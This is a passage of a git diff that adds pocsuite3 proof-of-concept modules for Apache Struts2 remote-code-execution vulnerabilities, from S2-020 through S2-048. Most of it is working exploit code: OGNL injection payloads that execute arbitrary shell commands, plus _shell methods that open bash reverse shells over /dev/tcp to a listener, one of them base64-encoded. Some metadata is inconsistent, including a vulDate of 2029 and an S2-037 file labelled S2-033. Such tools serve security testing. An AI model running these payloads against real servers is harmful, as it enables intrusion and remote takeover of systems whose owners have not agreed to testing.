+ vulID = '1228' # ssvid
+ version = '1'
+ author = ['']
+ vulDate = '2014-04-23'
+ createDate = '2014-04-23'
+ updateDate = '2014-04-23'
+ references = ['http://sec.baidu.com/index.php?research/detail/id/18']
+ name = 'struts 2.3.16.1 代码执行漏洞 POC'
+ appPowerLink = 'http://struts.apache.org/'
+ appName = 'struts'
+ appVersion = '2.3.16.1#'
+ vulType = 'Code Execution'
+ desc = '''
+ '''
+ samples = []
+ install_requires = ['']
+
+ def getLink(self, url):
+ '''使用正则得到页面中.action和.do链接'''
+ rnt = []
+ page_content = requests.get(url).text
+ match = re.findall(r'''(?:href|action|src)\s*?=\s*?(?:"|')\s*?([^'"]*?\.(?:action|do))''', page_content)
+ for item_url in match:
+ if 'http' not in item_url:
+ item_url = urljoin(url, item_url)
+ rnt.append(item_url)
+
+ return rnt
+
+ def _verify(self):
+ result = {}
+ url = self.url
+ if url.endswith('.do') or url.endswith('.action'):
+ url_actions = [url]
+ else:
+ url = url.strip('/') + '/'
+ url_actions = self.getLink(url)
+ if not url_actions:
+ url_actions = [url]
+
+ for url_action in url_actions:
+ directory_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.directory=webapps/ROOT"
+ prefix_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.prefix=S2_020"
+ suffix_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.suffix=.txt"
+ filedataformat_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.fileDateFormat=1"
+ # cmd = url + 'aaaa.jsp?a=<%Runtime.getRuntime().exec("cmd /c dir");%>'
+ shelljsp_url = urljoin(url_action, '/') + 'S2_0201.txt'
+
+ try:
+ directory_request = requests.get(directory_url)
+ time.sleep(1)
+ prefix_request = requests.get(prefix_url)
+ time.sleep(1)
+ suffix_request = requests.get(suffix_url)
+ time.sleep(1)
+ filedataformat_request = requests.get(filedataformat_url)
+ time.sleep(10)
+ shell_request = requests.get(shelljsp_url)
+
+ shell_content = shell_request.text
+ match = re.search('context.parent.pipeline.first.fileDateFormat=1', shell_content)
+ if match:
+ result['VerifyInfo'] = {}
+ result['VerifyInfo']['URL'] = shelljsp_url
+
+ except Exception as e:
+ logger.debug(str(e))
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+ def _attack(self):
+ return self._verify()
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
new file mode 100755
index 00000000..e20639c1
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
@@ -0,0 +1,56 @@
+import random
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ headers = {
+ "Content-Type": 'application/x-www-form-urlencoded'
+ }
+ exec_payload = "?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command={cmd}"
+ flag = random_str(5)
+ exec_payload = exec_payload.format(cmd=quote("echo {};".format(flag)))
+ html = requests.get(self.url + exec_payload, headers=headers).text
+ if flag in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169_2.py b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169_2.py
new file mode 100755
index 00000000..076ec226
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169_2.py
@@ -0,0 +1,69 @@
+"""
+If you have issues about development, please read:
+https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
+for more about information, plz visit http://pocsuite.org
+"""
+from pocsuite3.api import Output, POCBase, register_poc, requests, logger
+from pocsuite3.api import get_listener_ip, get_listener_port
+from pocsuite3.api import REVERSE_PAYLOAD
+from pocsuite3.lib.utils import random_str
+from urllib.parse import quote
+from requests.exceptions import ReadTimeout
+import re
+import base64
+
+
+class DemoPOC(POCBase):
+ vulID = '0917' # ssvid
+ version = '1'
+ author = ['']
+ vulDate = '2012-01-08'
+ createDate = '2013-03-26'
+ updateDate = '2013-03-26'
+ references = ['http://www.exploit-db.com/exploits/18329/']
+ name = 'Struts 2.3.1 DebuggingInterceptor 命令执行漏洞'
+ appPowerLink = 'http://struts.apache.org/'
+ appName = 'struts'
+ appVersion = '2.3.1#'
+ vulType = 'Code Execution'
+ desc = '''struts2(2.1.0 - 2.3.1)应用中配置不当时(以开发模式部署)有代码执行漏洞,攻击者可利用这个漏洞方便地部署webshell'''
+ samples = []
+ install_requires = ['']
+
+ def _verify(self):
+ result = {}
+ # 获取绝对路径
+ req_confirm = "debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,%23req%3D%40org.apache.struts2.ServletActionContext@getRequest%28%29,%23rep%3D%40org.apache.struts2.ServletActionContext@getResponse%28%29,%23rep.getWriter%28%29.println%28new%20java.lang.StringBuilder%28%22~~not_exist_in_html~~%22%29.append%28%23req.getRealPath%28%22%2F%22%29%29.append%28%22~3.1415621~%22%29.toString%28%29%29,%23rep.getWriter%28%29.flush()"
+ url_request = self.url + "?" + req_confirm
+ r = requests.get(url_request)
+ page_content = r.text
+ match = re.findall(r'''~~not_exist_in_html~~([c-nC-n]:\\.*?|/\w*?/.*?)~3.1415621''', page_content)
+ if match:
+ result['VerifyInfo'] = {}
+ result['VerifyInfo']['URL'] = url_request
+ result['VerifyInfo']['Path'] = match[0]
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+ def _attack(self):
+ return self._verify()
+
+ def _shell(self):
+ cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
+ # cmd = "bash -c 'sh -i >& /dev/tcp/docker.for.mac.localhost/888 0>&1'"
+ cmd = base64.b64encode(cmd.encode())
+ shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}".replace("SHELL", cmd.decode())
+ exec_payload = "debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29)"
+ exec_payload = exec_payload.format(cmd=shell)
+ url_request = self.url + "?" + exec_payload
+ requests.get(url_request)
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py b/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
new file mode 100755
index 00000000..cc46d58b
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
@@ -0,0 +1,57 @@
+import random
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ exec_payload = "(%23_memberAccess%5B'allowPrivateAccess'%5D%3Dtrue%2C%23_memberAccess%5B'allowProtectedAccess'%5D%3Dtrue%2C%23_memberAccess%5B'excludedPackageNamePatterns'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'excludedClasses'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'allowPackageProtectedAccess'%5D%3Dtrue%2C%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('{cmd}').getInputStream()))"
+
+ hash_md5 = random_str(5)
+ cmd = "echo {};".format(hash_md5)
+
+ html = requests.get(
+ self.url + "?debug=command&expression={payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
+ if hash_md5 in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
new file mode 100755
index 00000000..d3757ad1
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
@@ -0,0 +1,66 @@
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3);'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('ls', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ check_poc = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086"
+
+ html = requests.get(self.url + "?" + check_poc).text
+ if '1008660253718' in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "Html": html
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ exec_payload = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&cmd={cmd}&encoding=utf-8"
+
+ cmd = self.get_option("command")
+ req = requests.get(self.url + "?" + exec_payload.format(cmd=quote(cmd)))
+ if req.status_code == 200:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "Content": req.text
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
new file mode 100755
index 00000000..0dfcf2b9
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
@@ -0,0 +1,69 @@
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ check_poc = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]%2b602%2b53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086"
+
+
+ hash_md5 = random_str(5)
+ cmd = "echo {};".format(hash_md5)
+ html = requests.get(self.url + "?" + check_poc).text
+ if '1008660253718' in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ exec_payload = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command={cmd}"
+
+ hash_md5 = random_str(5)
+ cmd = self.get_option("command")
+ html = requests.get(self.url + "?" + exec_payload.format(cmd=quote(cmd)))
+ if hash_md5 in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py b/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
new file mode 100755
index 00000000..e35000bd
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
@@ -0,0 +1,55 @@
+
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ exec_payload = r"""%{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='CMD').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"""
+ flag = random_str(5)
+ cmd = "echo {};".format(flag)
+ payload = exec_payload.format(cmd=quote(cmd))
+ html = requests.get(self.url + payload).text
+ if flag in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py b/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
new file mode 100755
index 00000000..b0dba65c
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
@@ -0,0 +1,105 @@
+
+import base64
+import random
+import string
+from collections import OrderedDict
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_listener_ip, get_listener_port
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('ls', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+
+ flagname = random_str(5, string.ascii_lowercase)
+ randint = random.randint(300, 900)
+ calc_result = randint * randint
+ headers = {
+ # "Content-Type": exec_payload.replace("CMD", "echo 111")
+ "Content-Type": "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('" + flagname + "'," + str(
+ randint) + "*" + str(randint) + ")}.multipart/form-data"
+ }
+ req = requests.post(self.url, "", headers=headers)
+ headers = req.headers
+ issuc = False
+ for key, value in headers.items():
+ if key == flagname or value == str(calc_result):
+ issuc = True
+ break
+
+ if issuc:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "Headers": repr(headers)
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ payloadPrefix = "hah-multipart/form-data %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
+
+ payloadSuffix = "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
+ cmd = self.get_option("command")
+ payload = payloadPrefix + cmd + payloadSuffix
+ headers = {
+ "Content-Type": payload,
+ "Connection": "close"
+ }
+ req = requests.get(self.url, headers=headers)
+ html = ''
+ if req.status_code == 200 and req.text:
+ html = req.text
+ result["VerifyInfo"] = {
+ "VerifyInfo": {
+ "info": html
+ }
+ }
+ return self.parse_output(result)
+
+ def _shell(self):
+ # get_listener_ip(), get_listener_port()
+ # shell_command = "sh -i >& /dev/tcp/{}/{} 0>&1".format(get_listener_ip(), get_listener_port())
+ # b64raw = base64.b64encode(shell_command.encode()).decode()
+ # fullcmd = "bash -c {echo," + b64raw + "}|{base64,-d}|{bash,-i}"
+ fullcmd = f"bash -c \"bash -i >& /dev/tcp/{get_listener_ip()}/{get_listener_port()} 0>&1\""
+
+ self.set_option("command", fullcmd)
+ try:
+ self._attack()
+ except:
+ pass
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py b/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
new file mode 100755
index 00000000..8c7ceaee
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
@@ -0,0 +1,86 @@
+from collections import OrderedDict
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_listener_ip, get_listener_port
+from pocsuite3.lib.core.interpreter_option import OptString
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('ls', description="可执行的shell命令")
+ return o
+
+ def _verify(self):
+ result = {}
+ headers = {
+ "Connection": "Close",
+ "Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
+ }
+ # html = requests.post(self.url, files=files, headers=headers).text
+ data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
+Content-Disposition: form-data; name="test"; filename="%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=utf-8')).(#res.getWriter().print('security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}\0\0b"
+Content-Type: text/plain
+
+x
+--3b0bfa1f36cb6157a128f0549a4a7446--'''.replace(b'\n', b'\r\n')
+ html = requests.post(self.url, data=data, headers=headers).text
+ if 'security_check' == html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ result = {}
+ exec_payload = b"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('CMD'.toString().split('\\\\s'))).start().getInputStream()).useDelimiter('\\\\AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}\0\0b"
+
+ cmd = self.get_option("command")
+ exec_payload = exec_payload.replace(b'CMD', cmd.encode())
+ data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
+Content-Disposition: form-data; name="test"; filename="FILENAME"
+Content-Type: text/plain
+
+x
+--3b0bfa1f36cb6157a128f0549a4a7446--'''.replace(b'FILENAME', exec_payload).replace(b'\n', b'\r\n')
+ headers = {
+ "Connection": "Close",
+ "Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
+ }
+ print(data)
+ html = requests.post(self.url, data=data, headers=headers).text
+
+ if html:
+ result["VerifyInfo"] ={
+ "URL": self.url,
+ "Content": html
+ }
+ return self.parse_output(result)
+
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
new file mode 100755
index 00000000..dbd27ba3
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
@@ -0,0 +1,58 @@
+import random
+from collections import OrderedDict
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["post_data"] = OptString('username=test&password={exp}', description="在要检测的参数位置用{exp}代替")
+ return o
+
+ def _verify(self):
+ result = {}
+ data = self.get_option("post_data")
+ headers = {
+ "Content-Type": 'application/x-www-form-urlencoded'
+ }
+ check_poc = "%24%7B{num1}%2B{num2}%7D"
+ num1 = random.randint(10000, 100000)
+ num2 = random.randint(10000, 100000)
+ poc = check_poc.format(num1=num1, num2=num2)
+ data = data.format(exp=poc)
+ html = requests.post(self.url, data, headers).text
+ nn = str(num1 + num2)
+ if nn in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
new file mode 100755
index 00000000..496a6856
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
@@ -0,0 +1,122 @@
+import random
+import shlex
+from collections import OrderedDict
+
